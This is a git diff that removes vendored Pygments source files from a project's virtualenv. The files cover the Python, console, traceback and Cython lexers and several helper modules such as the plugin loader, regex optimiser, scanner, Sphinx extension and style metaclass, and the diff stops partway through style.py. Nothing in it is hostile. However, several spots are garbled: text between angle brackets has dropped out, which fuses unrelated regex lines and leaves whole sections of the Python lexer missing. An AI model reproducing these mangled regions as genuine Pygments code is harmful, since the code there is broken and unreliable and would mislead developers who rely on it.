'soft-keywords': [ - # `match`, `case` and `_` soft keywords - (r'(^[ \t]*)' # at beginning of line + possible indentation - r'(match|case)\b' # a possible keyword - r'(?![ \t]*(?:' # not followed by... - r'[:,;=^&|@~)\]}]|(?:' + # characters and keywords that mean this isn't - # pattern matching (but None/True/False is ok) - r'|'.join(k for k in keyword.kwlist if k[0].islower()) + r')\b))', - bygroups(Text, Keyword), 'soft-keywords-inner'), - ], - 'soft-keywords-inner': [ - # optional `_` keyword - (r'(\s+)([^\n_]*)(_\b)', bygroups(Whitespace, using(this), Keyword)), - default('#pop') - ], - 'builtins': [ - (words(( - '__import__', 'abs', 'aiter', 'all', 'any', 'bin', 'bool', 'bytearray', - 'breakpoint', 'bytes', 'callable', 'chr', 'classmethod', 'compile', - 'complex', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', - 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', - 'hasattr', 'hash', 'hex', 'id', 'input', 'int', 'isinstance', - 'issubclass', 'iter', 'len', 'list', 'locals', 'map', 'max', - 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', - 'print', 'property', 'range', 'repr', 'reversed', 'round', 'set', - 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', - 'tuple', 'type', 'vars', 'zip'), prefix=r'(?>|[-~+/*%=<>&^|.]', Operator), - include('keywords'), - (r'(def)((?:\s|\\\s)+)', bygroups(Keyword, Whitespace), 'funcname'), - (r'(class)((?:\s|\\\s)+)', bygroups(Keyword, Whitespace), 'classname'), - (r'(from)((?:\s|\\\s)+)', bygroups(Keyword.Namespace, Whitespace), - 'fromimport'), - (r'(import)((?:\s|\\\s)+)', bygroups(Keyword.Namespace, Whitespace), - 'import'), - include('builtins'), - include('magicfuncs'), - include('magicvars'), - include('backtick'), - ('([rR]|[uUbB][rR]|[rR][uUbB])(""")', - bygroups(String.Affix, String.Double), 'tdqs'), - ("([rR]|[uUbB][rR]|[rR][uUbB])(''')", - bygroups(String.Affix, String.Single), 'tsqs'), - ('([rR]|[uUbB][rR]|[rR][uUbB])(")', - bygroups(String.Affix, String.Double), 'dqs'), - ("([rR]|[uUbB][rR]|[rR][uUbB])(')", - bygroups(String.Affix, String.Single), 'sqs'), - ('([uUbB]?)(""")', bygroups(String.Affix, String.Double), - combined('stringescape', 'tdqs')), - ("([uUbB]?)(''')", bygroups(String.Affix, String.Single), - combined('stringescape', 'tsqs')), - ('([uUbB]?)(")', bygroups(String.Affix, String.Double), - combined('stringescape', 'dqs')), - ("([uUbB]?)(')", bygroups(String.Affix, String.Single), - combined('stringescape', 'sqs')), - include('name'), - include('numbers'), - ], - 'keywords': [ - (words(( - 'assert', 'break', 'continue', 'del', 'elif', 'else', 'except', - 'exec', 'finally', 'for', 'global', 'if', 'lambda', 'pass', - 'print', 'raise', 'return', 'try', 'while', 'yield', - 'yield from', 'as', 'with'), suffix=r'\b'), - Keyword), - ], - 'builtins': [ - (words(( - '__import__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', - 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', - 'cmp', 'coerce', 'compile', 'complex', 'delattr', 'dict', 'dir', 'divmod', - 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', - 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', - 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', - 'list', 'locals', 'long', 'map', 'max', 'min', 'next', 'object', - 'oct', 'open', 'ord', 'pow', 'property', 'range', 'raw_input', 'reduce', - 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', - 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', - 'unichr', 'unicode', 'vars', 'xrange', 'zip'), - prefix=r'(?>> )(.*\n)', bygroups(Generic.Prompt, Other.Code), 'continuations'), - # This happens, e.g., when tracebacks are embedded in documentation; - # trailing whitespaces are often stripped in such contexts. - (r'(>>>)(\n)', bygroups(Generic.Prompt, Whitespace)), - (r'(\^C)?Traceback \(most recent call last\):\n', Other.Traceback, 'traceback'), - # SyntaxError starts with this - (r' File "[^"]+", line \d+', Other.Traceback, 'traceback'), - (r'.*\n', Generic.Output), - ], - 'continuations': [ - (r'(\.\.\. )(.*\n)', bygroups(Generic.Prompt, Other.Code)), - # See above. - (r'(\.\.\.)(\n)', bygroups(Generic.Prompt, Whitespace)), - default('#pop'), - ], - 'traceback': [ - # As soon as we see a traceback, consume everything until the next - # >>> prompt. - (r'(?=>>>( |$))', Text, '#pop'), - (r'(KeyboardInterrupt)(\n)', bygroups(Name.Class, Whitespace)), - (r'.*\n', Other.Traceback), - ], - } - - -class PythonConsoleLexer(DelegatingLexer): - """ - For Python console output or doctests, such as: - - .. sourcecode:: pycon - - >>> a = 'foo' - >>> print(a) - foo - >>> 1 / 0 - Traceback (most recent call last): - File "", line 1, in - ZeroDivisionError: integer division or modulo by zero - - Additional options: - - `python3` - Use Python 3 lexer for code. Default is ``True``. - - .. versionadded:: 1.0 - .. versionchanged:: 2.5 - Now defaults to ``True``. - """ - - name = 'Python console session' - aliases = ['pycon', 'python-console'] - mimetypes = ['text/x-python-doctest'] - url = 'https://python.org' - version_added = '' - - def __init__(self, **options): - python3 = get_bool_opt(options, 'python3', True) - if python3: - pylexer = PythonLexer - tblexer = PythonTracebackLexer - else: - pylexer = Python2Lexer - tblexer = Python2TracebackLexer - # We have two auxiliary lexers. Use DelegatingLexer twice with - # different tokens. TODO: DelegatingLexer should support this - # directly, by accepting a tuplet of auxiliary lexers and a tuple of - # distinguishing tokens. Then we wouldn't need this intermediary - # class. - class _ReplaceInnerCode(DelegatingLexer): - def __init__(self, **options): - super().__init__(pylexer, _PythonConsoleLexerBase, Other.Code, **options) - super().__init__(tblexer, _ReplaceInnerCode, Other.Traceback, **options) - - -class PythonTracebackLexer(RegexLexer): - """ - For Python 3.x tracebacks, with support for chained exceptions. - - .. versionchanged:: 2.5 - This is now the default ``PythonTracebackLexer``. It is still available - as the alias ``Python3TracebackLexer``. - """ - - name = 'Python Traceback' - aliases = ['pytb', 'py3tb'] - filenames = ['*.pytb', '*.py3tb'] - mimetypes = ['text/x-python-traceback', 'text/x-python3-traceback'] - url = 'https://python.org' - version_added = '1.0' - - tokens = { - 'root': [ - (r'\n', Whitespace), - (r'^(\^C)?Traceback \(most recent call last\):\n', Generic.Traceback, 'intb'), - (r'^During handling of the above exception, another ' - r'exception occurred:\n\n', Generic.Traceback), - (r'^The above exception was the direct cause of the ' - r'following exception:\n\n', Generic.Traceback), - (r'^(?= File "[^"]+", line \d+)', Generic.Traceback, 'intb'), - (r'^.*\n', Other), - ], - 'intb': [ - (r'^( File )("[^"]+")(, line )(\d+)(, in )(.+)(\n)', - bygroups(Text, Name.Builtin, Text, Number, Text, Name, Whitespace)), - (r'^( File )("[^"]+")(, line )(\d+)(\n)', - bygroups(Text, Name.Builtin, Text, Number, Whitespace)), - (r'^( )(.+)(\n)', - bygroups(Whitespace, using(PythonLexer), Whitespace), 'markers'), - (r'^([ \t]*)(\.\.\.)(\n)', - bygroups(Whitespace, Comment, Whitespace)), # for doctests... - (r'^([^:]+)(: )(.+)(\n)', - bygroups(Generic.Error, Text, Name, Whitespace), '#pop'), - (r'^([a-zA-Z_][\w.]*)(:?\n)', - bygroups(Generic.Error, Whitespace), '#pop'), - default('#pop'), - ], - 'markers': [ - # Either `PEP 657 ` - # error locations in Python 3.11+, or single-caret markers - # for syntax errors before that. - (r'^( {4,})([~^]+)(\n)', - bygroups(Whitespace, Punctuation.Marker, Whitespace), - '#pop'), - default('#pop'), - ], - } - - -Python3TracebackLexer = PythonTracebackLexer - - -class Python2TracebackLexer(RegexLexer): - """ - For Python tracebacks. - - .. versionchanged:: 2.5 - This class has been renamed from ``PythonTracebackLexer``. - ``PythonTracebackLexer`` now refers to the Python 3 variant. - """ - - name = 'Python 2.x Traceback' - aliases = ['py2tb'] - filenames = ['*.py2tb'] - mimetypes = ['text/x-python2-traceback'] - url = 'https://python.org' - version_added = '0.7' - - tokens = { - 'root': [ - # Cover both (most recent call last) and (innermost last) - # The optional ^C allows us to catch keyboard interrupt signals. - (r'^(\^C)?(Traceback.*\n)', - bygroups(Text, Generic.Traceback), 'intb'), - # SyntaxError starts with this. - (r'^(?= File "[^"]+", line \d+)', Generic.Traceback, 'intb'), - (r'^.*\n', Other), - ], - 'intb': [ - (r'^( File )("[^"]+")(, line )(\d+)(, in )(.+)(\n)', - bygroups(Text, Name.Builtin, Text, Number, Text, Name, Whitespace)), - (r'^( File )("[^"]+")(, line )(\d+)(\n)', - bygroups(Text, Name.Builtin, Text, Number, Whitespace)), - (r'^( )(.+)(\n)', - bygroups(Text, using(Python2Lexer), Whitespace), 'marker'), - (r'^([ \t]*)(\.\.\.)(\n)', - bygroups(Text, Comment, Whitespace)), # for doctests... - (r'^([^:]+)(: )(.+)(\n)', - bygroups(Generic.Error, Text, Name, Whitespace), '#pop'), - (r'^([a-zA-Z_]\w*)(:?\n)', - bygroups(Generic.Error, Whitespace), '#pop') - ], - 'marker': [ - # For syntax errors. - (r'( {4,})(\^)', bygroups(Text, Punctuation.Marker), '#pop'), - default('#pop'), - ], - } - - -class CythonLexer(RegexLexer): - """ - For Pyrex and Cython source code. - """ - - name = 'Cython' - url = 'https://cython.org' - aliases = ['cython', 'pyx', 'pyrex'] - filenames = ['*.pyx', '*.pxd', '*.pxi'] - mimetypes = ['text/x-cython', 'application/x-cython'] - version_added = '1.1' - - tokens = { - 'root': [ - (r'\n', Whitespace), - (r'^(\s*)("""(?:.|\n)*?""")', bygroups(Whitespace, String.Doc)), - (r"^(\s*)('''(?:.|\n)*?''')", bygroups(Whitespace, String.Doc)), - (r'[^\S\n]+', Text), - (r'#.*$', Comment), - (r'[]{}:(),;[]', Punctuation), - (r'\\\n', Whitespace), - (r'\\', Text), - (r'(in|is|and|or|not)\b', Operator.Word), - (r'(<)([a-zA-Z0-9.?]+)(>)', - bygroups(Punctuation, Keyword.Type, Punctuation)), - (r'!=|==|<<|>>|[-~+/*%=<>&^|.?]', Operator), - (r'(from)(\d+)(<=)(\s+)(<)(\d+)(:)', - bygroups(Keyword, Number.Integer, Operator, Whitespace, Operator, - Name, Punctuation)), - include('keywords'), - (r'(def|property)(\s+)', bygroups(Keyword, Whitespace), 'funcname'), - (r'(cp?def)(\s+)', bygroups(Keyword, Whitespace), 'cdef'), - # (should actually start a block with only cdefs) - (r'(cdef)(:)', bygroups(Keyword, Punctuation)), - (r'(class|cppclass|struct)(\s+)', bygroups(Keyword, Whitespace), 'classname'), - (r'(from)(\s+)', bygroups(Keyword, Whitespace), 'fromimport'), - (r'(c?import)(\s+)', bygroups(Keyword, Whitespace), 'import'), - include('builtins'), - include('backtick'), - ('(?:[rR]|[uU][rR]|[rR][uU])"""', String, 'tdqs'), - ("(?:[rR]|[uU][rR]|[rR][uU])'''", String, 'tsqs'), - ('(?:[rR]|[uU][rR]|[rR][uU])"', String, 'dqs'), - ("(?:[rR]|[uU][rR]|[rR][uU])'", String, 'sqs'), - ('[uU]?"""', String, combined('stringescape', 'tdqs')), - ("[uU]?'''", String, combined('stringescape', 'tsqs')), - ('[uU]?"', String, combined('stringescape', 'dqs')), - ("[uU]?'", String, combined('stringescape', 'sqs')), - include('name'), - include('numbers'), - ], - 'keywords': [ - (words(( - 'assert', 'async', 'await', 'break', 'by', 'continue', 'ctypedef', 'del', - 'elif', 'else', 'except', 'except?', 'exec', 'finally', 'for', 'fused', 'gil', - 'global', 'if', 'include', 'lambda', 'namespace', 'new', 'noexcept','nogil', - 'pass', 'print', 'raise', 'return', 'try', 'while', 'yield', 'as', 'with'), - suffix=r'\b'), - Keyword), - (words(('True', 'False', 'None', 'NULL'), suffix=r'\b'), Keyword.Constant), - (r'(DEF|IF|ELIF|ELSE)\b', Comment.Preproc), - ], - 'builtins': [ - (words(( - '__import__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bint', - 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'char', 'chr', - 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'delattr', - 'dict', 'dir', 'divmod', 'double', 'enumerate', 'eval', 'execfile', 'exit', - 'file', 'filter', 'float', 'frozenset', 'getattr', 'globals', - 'hasattr', 'hash', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', - 'issubclass', 'iter', 'len', 'list', 'locals', 'long', 'map', 'max', - 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'property', - 'Py_ssize_t', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', - 'round', 'set', 'setattr', 'size_t', 'slice', 'sorted', 'staticmethod', - 'ssize_t', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', - 'unsigned', 'vars', 'xrange', 'zip'), prefix=r'(?]? \d* )? : - .* (?: ft | filetype | syn | syntax ) = ( [^:\s]+ ) -''', re.VERBOSE) - - -def get_filetype_from_line(l): # noqa: E741 - m = modeline_re.search(l) - if m: - return m.group(1) - - -def get_filetype_from_buffer(buf, max_lines=5): - """ - Scan the buffer for modelines and return filetype if one is found. - """ - lines = buf.splitlines() - for line in lines[-1:-max_lines-1:-1]: - ret = get_filetype_from_line(line) - if ret: - return ret - for i in range(max_lines, -1, -1): - if i < len(lines): - ret = get_filetype_from_line(lines[i]) - if ret: - return ret - - return None diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/plugin.py b/venv/Lib/site-packages/pip/_vendor/pygments/plugin.py deleted file mode 100644 index 0d6377f769cf68505f6c3ff5495fe01effb31d38..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/plugin.py +++ /dev/null @@ -1,74 +0,0 @@ -""" - pygments.plugin - ~~~~~~~~~~~~~~~ - - Pygments plugin interface. - - lexer plugins:: - - [pygments.lexers] - yourlexer = yourmodule:YourLexer - - formatter plugins:: - - [pygments.formatters] - yourformatter = yourformatter:YourFormatter - /.ext = yourformatter:YourFormatter - - As you can see, you can define extensions for the formatter - with a leading slash. - - syntax plugins:: - - [pygments.styles] - yourstyle = yourstyle:YourStyle - - filter plugin:: - - [pygments.filter] - yourfilter = yourfilter:YourFilter - - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" -import functools -from importlib.metadata import entry_points - -LEXER_ENTRY_POINT = 'pygments.lexers' -FORMATTER_ENTRY_POINT = 'pygments.formatters' -STYLE_ENTRY_POINT = 'pygments.styles' -FILTER_ENTRY_POINT = 'pygments.filters' - - -@functools.cache -def iter_entry_points(group_name): - groups = entry_points() - if hasattr(groups, 'select'): - # New interface in Python 3.10 and newer versions of the - # importlib_metadata backport. - return groups.select(group=group_name) - else: - # Older interface, deprecated in Python 3.10 and recent - # importlib_metadata, but we need it in Python 3.8 and 3.9. - return groups.get(group_name, []) - - -def find_plugin_lexers(): - for entrypoint in iter_entry_points(LEXER_ENTRY_POINT): - yield entrypoint.load() - - -def find_plugin_formatters(): - for entrypoint in iter_entry_points(FORMATTER_ENTRY_POINT): - yield entrypoint.name, entrypoint.load() - - -def find_plugin_styles(): - for entrypoint in iter_entry_points(STYLE_ENTRY_POINT): - yield entrypoint.name, entrypoint.load() - - -def find_plugin_filters(): - for entrypoint in iter_entry_points(FILTER_ENTRY_POINT): - yield entrypoint.name, entrypoint.load() diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/regexopt.py b/venv/Lib/site-packages/pip/_vendor/pygments/regexopt.py deleted file mode 100644 index 9010eb3fb517ff4134b4f52581179fa80b0f7540..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/regexopt.py +++ /dev/null @@ -1,102 +0,0 @@ -""" - pygments.regexopt - ~~~~~~~~~~~~~~~~~ - - An algorithm that generates optimized regexes for matching long lists of - literal strings. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - -import re -from re import escape -from itertools import groupby -from operator import itemgetter - -CS_ESCAPE = re.compile(r'[\[\^\\\-\]]') -FIRST_ELEMENT = itemgetter(0) - - -def commonprefix(m): - """Given an iterable of strings, returns the longest common leading substring""" - if not m: - return "" - s1 = min(m) - s2 = max(m) - for i, c in enumerate(s1): - if c != s2[i]: - return s1[:i] - return s1 - - -def make_charset(letters): - return '[' + CS_ESCAPE.sub(lambda m: '\\' + m.group(), ''.join(letters)) + ']' - - -def regex_opt_inner(strings, open_paren): - """Return a regex that matches any string in the sorted list of strings.""" - close_paren = open_paren and ')' or '' - # print strings, repr(open_paren) - if not strings: - # print '-> nothing left' - return '' - first = strings[0] - if len(strings) == 1: - # print '-> only 1 string' - return open_paren + escape(first) + close_paren - if not first: - # print '-> first string empty' - return open_paren + regex_opt_inner(strings[1:], '(?:') \ - + '?' + close_paren - if len(first) == 1: - # multiple one-char strings? make a charset - oneletter = [] - rest = [] - for s in strings: - if len(s) == 1: - oneletter.append(s) - else: - rest.append(s) - if len(oneletter) > 1: # do we have more than one oneletter string? - if rest: - # print '-> 1-character + rest' - return open_paren + regex_opt_inner(rest, '') + '|' \ - + make_charset(oneletter) + close_paren - # print '-> only 1-character' - return open_paren + make_charset(oneletter) + close_paren - prefix = commonprefix(strings) - if prefix: - plen = len(prefix) - # we have a prefix for all strings - # print '-> prefix:', prefix - return open_paren + escape(prefix) \ - + regex_opt_inner([s[plen:] for s in strings], '(?:') \ - + close_paren - # is there a suffix? - strings_rev = [s[::-1] for s in strings] - suffix = commonprefix(strings_rev) - if suffix: - slen = len(suffix) - # print '-> suffix:', suffix[::-1] - return open_paren \ - + regex_opt_inner(sorted(s[:-slen] for s in strings), '(?:') \ - + escape(suffix[::-1]) + close_paren - # recurse on common 1-string prefixes - # print '-> last resort' - return open_paren + \ - '|'.join(regex_opt_inner(list(group[1]), '') - for group in groupby(strings, lambda s: s[0] == first[0])) \ - + close_paren - - -def regex_opt(strings, prefix='', suffix=''): - """Return a compiled regex that matches any string in the given list. - - The strings to match must be literal strings, not regexes. They will be - regex-escaped. - - *prefix* and *suffix* are pre- and appended to the final regex. - """ - strings = sorted(strings) - return prefix + regex_opt_inner(strings, '(') + suffix diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/scanner.py b/venv/Lib/site-packages/pip/_vendor/pygments/scanner.py deleted file mode 100644 index 067ebfa9c65a9ea3b3ac3e1d4cf815eee2f1f32b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/scanner.py +++ /dev/null @@ -1,104 +0,0 @@ -""" - pygments.scanner - ~~~~~~~~~~~~~~~~ - - This library implements a regex based scanner. Some languages - like Pascal are easy to parse but have some keywords that - depend on the context. Because of this it's impossible to lex - that just by using a regular expression lexer like the - `RegexLexer`. - - Have a look at the `DelphiLexer` to get an idea of how to use - this scanner. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" -import re - - -class EndOfText(RuntimeError): - """ - Raise if end of text is reached and the user - tried to call a match function. - """ - - -class Scanner: - """ - Simple scanner - - All method patterns are regular expression strings (not - compiled expressions!) - """ - - def __init__(self, text, flags=0): - """ - :param text: The text which should be scanned - :param flags: default regular expression flags - """ - self.data = text - self.data_length = len(text) - self.start_pos = 0 - self.pos = 0 - self.flags = flags - self.last = None - self.match = None - self._re_cache = {} - - def eos(self): - """`True` if the scanner reached the end of text.""" - return self.pos >= self.data_length - eos = property(eos, eos.__doc__) - - def check(self, pattern): - """ - Apply `pattern` on the current position and return - the match object. (Doesn't touch pos). Use this for - lookahead. - """ - if self.eos: - raise EndOfText() - if pattern not in self._re_cache: - self._re_cache[pattern] = re.compile(pattern, self.flags) - return self._re_cache[pattern].match(self.data, self.pos) - - def test(self, pattern): - """Apply a pattern on the current position and check - if it patches. Doesn't touch pos. - """ - return self.check(pattern) is not None - - def scan(self, pattern): - """ - Scan the text for the given pattern and update pos/match - and related fields. The return value is a boolean that - indicates if the pattern matched. The matched value is - stored on the instance as ``match``, the last value is - stored as ``last``. ``start_pos`` is the position of the - pointer before the pattern was matched, ``pos`` is the - end position. - """ - if self.eos: - raise EndOfText() - if pattern not in self._re_cache: - self._re_cache[pattern] = re.compile(pattern, self.flags) - self.last = self.match - m = self._re_cache[pattern].match(self.data, self.pos) - if m is None: - return False - self.start_pos = m.start() - self.pos = m.end() - self.match = m.group() - return True - - def get_char(self): - """Scan exactly one char.""" - self.scan('.') - - def __repr__(self): - return '<%s %d/%d>' % ( - self.__class__.__name__, - self.pos, - self.data_length - ) diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/sphinxext.py b/venv/Lib/site-packages/pip/_vendor/pygments/sphinxext.py deleted file mode 100644 index 7f2fa7458a055e69595367881cc1ca7ed4e74966..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/sphinxext.py +++ /dev/null @@ -1,247 +0,0 @@ -""" - pygments.sphinxext - ~~~~~~~~~~~~~~~~~~ - - Sphinx extension to generate automatic documentation of lexers, - formatters and filters. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - -import sys - -from docutils import nodes -from docutils.statemachine import ViewList -from docutils.parsers.rst import Directive -from sphinx.util.nodes import nested_parse_with_titles - - -MODULEDOC = ''' -.. module:: %s - -%s -%s -''' - -LEXERDOC = ''' -.. class:: %s - - :Short names: %s - :Filenames: %s - :MIME types: %s - - %s - - %s - -''' - -FMTERDOC = ''' -.. class:: %s - - :Short names: %s - :Filenames: %s - - %s - -''' - -FILTERDOC = ''' -.. class:: %s - - :Name: %s - - %s - -''' - - -class PygmentsDoc(Directive): - """ - A directive to collect all lexers/formatters/filters and generate - autoclass directives for them. - """ - has_content = False - required_arguments = 1 - optional_arguments = 0 - final_argument_whitespace = False - option_spec = {} - - def run(self): - self.filenames = set() - if self.arguments[0] == 'lexers': - out = self.document_lexers() - elif self.arguments[0] == 'formatters': - out = self.document_formatters() - elif self.arguments[0] == 'filters': - out = self.document_filters() - elif self.arguments[0] == 'lexers_overview': - out = self.document_lexers_overview() - else: - raise Exception('invalid argument for "pygmentsdoc" directive') - node = nodes.compound() - vl = ViewList(out.split('\n'), source='') - nested_parse_with_titles(self.state, vl, node) - for fn in self.filenames: - self.state.document.settings.record_dependencies.add(fn) - return node.children - - def document_lexers_overview(self): - """Generate a tabular overview of all lexers. - - The columns are the lexer name, the extensions handled by this lexer - (or "None"), the aliases and a link to the lexer class.""" - from pip._vendor.pygments.lexers._mapping import LEXERS - from pip._vendor.pygments.lexers import find_lexer_class - out = [] - - table = [] - - def format_link(name, url): - if url: - return f'`{name} <{url}>`_' - return name - - for classname, data in sorted(LEXERS.items(), key=lambda x: x[1][1].lower()): - lexer_cls = find_lexer_class(data[1]) - extensions = lexer_cls.filenames + lexer_cls.alias_filenames - - table.append({ - 'name': format_link(data[1], lexer_cls.url), - 'extensions': ', '.join(extensions).replace('*', '\\*').replace('_', '\\') or 'None', - 'aliases': ', '.join(data[2]), - 'class': f'{data[0]}.{classname}' - }) - - column_names = ['name', 'extensions', 'aliases', 'class'] - column_lengths = [max([len(row[column]) for row in table if row[column]]) - for column in column_names] - - def write_row(*columns): - """Format a table row""" - out = [] - for length, col in zip(column_lengths, columns): - if col: - out.append(col.ljust(length)) - else: - out.append(' '*length) - - return ' '.join(out) - - def write_seperator(): - """Write a table separator row""" - sep = ['='*c for c in column_lengths] - return write_row(*sep) - - out.append(write_seperator()) - out.append(write_row('Name', 'Extension(s)', 'Short name(s)', 'Lexer class')) - out.append(write_seperator()) - for row in table: - out.append(write_row( - row['name'], - row['extensions'], - row['aliases'], - f':class:`~{row["class"]}`')) - out.append(write_seperator()) - - return '\n'.join(out) - - def document_lexers(self): - from pip._vendor.pygments.lexers._mapping import LEXERS - from pip._vendor import pygments - import inspect - import pathlib - - out = [] - modules = {} - moduledocstrings = {} - for classname, data in sorted(LEXERS.items(), key=lambda x: x[0]): - module = data[0] - mod = __import__(module, None, None, [classname]) - self.filenames.add(mod.__file__) - cls = getattr(mod, classname) - if not cls.__doc__: - print(f"Warning: {classname} does not have a docstring.") - docstring = cls.__doc__ - if isinstance(docstring, bytes): - docstring = docstring.decode('utf8') - - example_file = getattr(cls, '_example', None) - if example_file: - p = pathlib.Path(inspect.getabsfile(pygments)).parent.parent /\ - 'tests' / 'examplefiles' / example_file - content = p.read_text(encoding='utf-8') - if not content: - raise Exception( - f"Empty example file '{example_file}' for lexer " - f"{classname}") - - if data[2]: - lexer_name = data[2][0] - docstring += '\n\n .. admonition:: Example\n' - docstring += f'\n .. code-block:: {lexer_name}\n\n' - for line in content.splitlines(): - docstring += f' {line}\n' - - if cls.version_added: - version_line = f'.. versionadded:: {cls.version_added}' - else: - version_line = '' - - modules.setdefault(module, []).append(( - classname, - ', '.join(data[2]) or 'None', - ', '.join(data[3]).replace('*', '\\*').replace('_', '\\') or 'None', - ', '.join(data[4]) or 'None', - docstring, - version_line)) - if module not in moduledocstrings: - moddoc = mod.__doc__ - if isinstance(moddoc, bytes): - moddoc = moddoc.decode('utf8') - moduledocstrings[module] = moddoc - - for module, lexers in sorted(modules.items(), key=lambda x: x[0]): - if moduledocstrings[module] is None: - raise Exception(f"Missing docstring for {module}") - heading = moduledocstrings[module].splitlines()[4].strip().rstrip('.') - out.append(MODULEDOC % (module, heading, '-'*len(heading))) - for data in lexers: - out.append(LEXERDOC % data) - - return ''.join(out) - - def document_formatters(self): - from pip._vendor.pygments.formatters import FORMATTERS - - out = [] - for classname, data in sorted(FORMATTERS.items(), key=lambda x: x[0]): - module = data[0] - mod = __import__(module, None, None, [classname]) - self.filenames.add(mod.__file__) - cls = getattr(mod, classname) - docstring = cls.__doc__ - if isinstance(docstring, bytes): - docstring = docstring.decode('utf8') - heading = cls.__name__ - out.append(FMTERDOC % (heading, ', '.join(data[2]) or 'None', - ', '.join(data[3]).replace('*', '\\*') or 'None', - docstring)) - return ''.join(out) - - def document_filters(self): - from pip._vendor.pygments.filters import FILTERS - - out = [] - for name, cls in FILTERS.items(): - self.filenames.add(sys.modules[cls.__module__].__file__) - docstring = cls.__doc__ - if isinstance(docstring, bytes): - docstring = docstring.decode('utf8') - out.append(FILTERDOC % (cls.__name__, name, docstring)) - return ''.join(out) - - -def setup(app): - app.add_directive('pygmentsdoc', PygmentsDoc) diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/style.py b/venv/Lib/site-packages/pip/_vendor/pygments/style.py deleted file mode 100644 index 04b420d8b8f02208e4c0737af985db791783a3d6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/style.py +++ /dev/null @@ -1,203 +0,0 @@ -""" - pygments.style - ~~~~~~~~~~~~~~ - - Basic style object. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - -from pip._vendor.pygments.token import Token, STANDARD_TYPES - -# Default mapping of ansixxx to RGB colors. -_ansimap = { - # dark - 'ansiblack': '000000', - 'ansired': '7f0000', - 'ansigreen': '007f00', - 'ansiyellow': '7f7fe0', - 'ansiblue': '00007f', - 'ansimagenta': '7f007f', - 'ansicyan': '007f7f', - 'ansigray': 'e5e5e5', - # normal - 'ansibrightblack': '555555', - 'ansibrightred': 'ff0000', - 'ansibrightgreen': '00ff00', - 'ansibrightyellow': 'ffff00', - 'ansibrightblue': '0000ff', - 'ansibrightmagenta': 'ff00ff', - 'ansibrightcyan': '00ffff', - 'ansiwhite': 'ffffff', -} -# mapping of deprecated #ansixxx colors to new color names -_deprecated_ansicolors = { - # dark - '#ansiblack': 'ansiblack', - '#ansidarkred': 'ansired', - '#ansidarkgreen': 'ansigreen', - '#ansibrown': 'ansiyellow', - '#ansidarkblue': 'ansiblue', - '#ansipurple': 'ansimagenta', - '#ansiteal': 'ansicyan', - '#ansilightgray': 'ansigray', - # normal - '#ansidarkgray': 'ansibrightblack', - '#ansired': 'ansibrightred', - '#ansigreen': 'ansibrightgreen', - '#ansiyellow': 'ansibrightyellow', - '#ansiblue': 'ansibrightblue', - '#ansifuchsia': 'ansibrightmagenta', - '#ansiturquoise': 'ansibrightcyan', - '#ansiwhite': 'ansiwhite', -} -ansicolors = set(_ansimap) - - -class StyleMeta(type): - - def __new__(mcs, name, bases, dct): - obj = type.__new__(mcs, name, bases, dct) - for token in STANDARD_TYPES: - if token not in obj.styles: - obj.styles[token] = '' - - def colorformat(text): - if text in ansicolors: - return text - if text[0:1] == '#': - col = text[1:] - if len(col) == 6: - return col - elif len(col) == 3: - return col[0] * 2 + col[1] * 2 + col[2] * 2 - elif text == '': - return '' - elif text.startswith('var') or text.startswith('calc'): - return text - assert False, f"wrong color format {text!r}" - - _styles = obj._styles = {} - - for ttype in obj.styles: - for token in ttype.split(): - if token in _styles: - continue - ndef = _styles.get(token.parent, None) - styledefs = obj.styles.get(token, '').split() - if not ndef or token is None: - ndef = ['', 0, 0, 0, '', '', 0, 0, 0] - elif 'noinherit' in styledefs and token is not Token: - ndef = _styles[Token][:] - else: - ndef = ndef[:] - _styles[token] = ndef - for styledef in obj.styles.get(token, '').split(): - if styledef == 'noinherit': - pass - elif styledef == 'bold': - ndef[1] = 1 - elif styledef == 'nobold': - ndef[1] = 0 - elif styledef == 'italic': - ndef[2] = 1 - elif styledef == 'noitalic': - ndef[2] = 0 - elif styledef == 'underline': - ndef[3] = 1 - elif styledef == 'nounderline': - ndef[3] = 0 - elif styledef[:3] == 'bg:': - ndef[4] = colorformat(styledef[3:]) - elif styledef[:7] == 'border:': - ndef[5] = colorformat(styledef[7:]) - elif styledef == 'roman': - ndef[6] = 1 - elif styledef == 'sans': - ndef[7] = 1 - elif styledef == 'mono': - 